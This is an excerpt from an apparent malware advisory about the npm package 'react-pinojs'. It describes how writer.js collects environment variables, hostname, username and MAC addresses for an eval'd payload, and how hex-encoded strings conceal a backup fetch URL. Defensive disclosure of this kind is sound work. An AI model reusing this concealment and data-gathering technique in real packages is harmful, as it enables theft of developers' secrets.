Before the eval fires, writer.js assembles a data object containing the full process.env, os.platform(), os.hostname(), os.userInfo().username, and non-internal MAC addresses, which is in scope for the eval'd payload. A second hex-encoded channel is hidden in writer.js: byte arrays decode to the strings 'axios', 'get', 'then', and the URL https://www.jsonkeeper.com/b/HY6M6 — a backup fetch endpoint concealed from trivial source greps. Any project that runs require('react-pinojs') (or imports it) executes attacker-controlled code with access to the installer's environment variables, hostname, username, and MAC addresses.\n\n## Source: ghsa-malware (f068b4f747b0fdc8dbacf62b3360a153e24292db9eb67d5e99f415eb900060de)\nAny computer that has this package installed or running should be considered fully compromised.
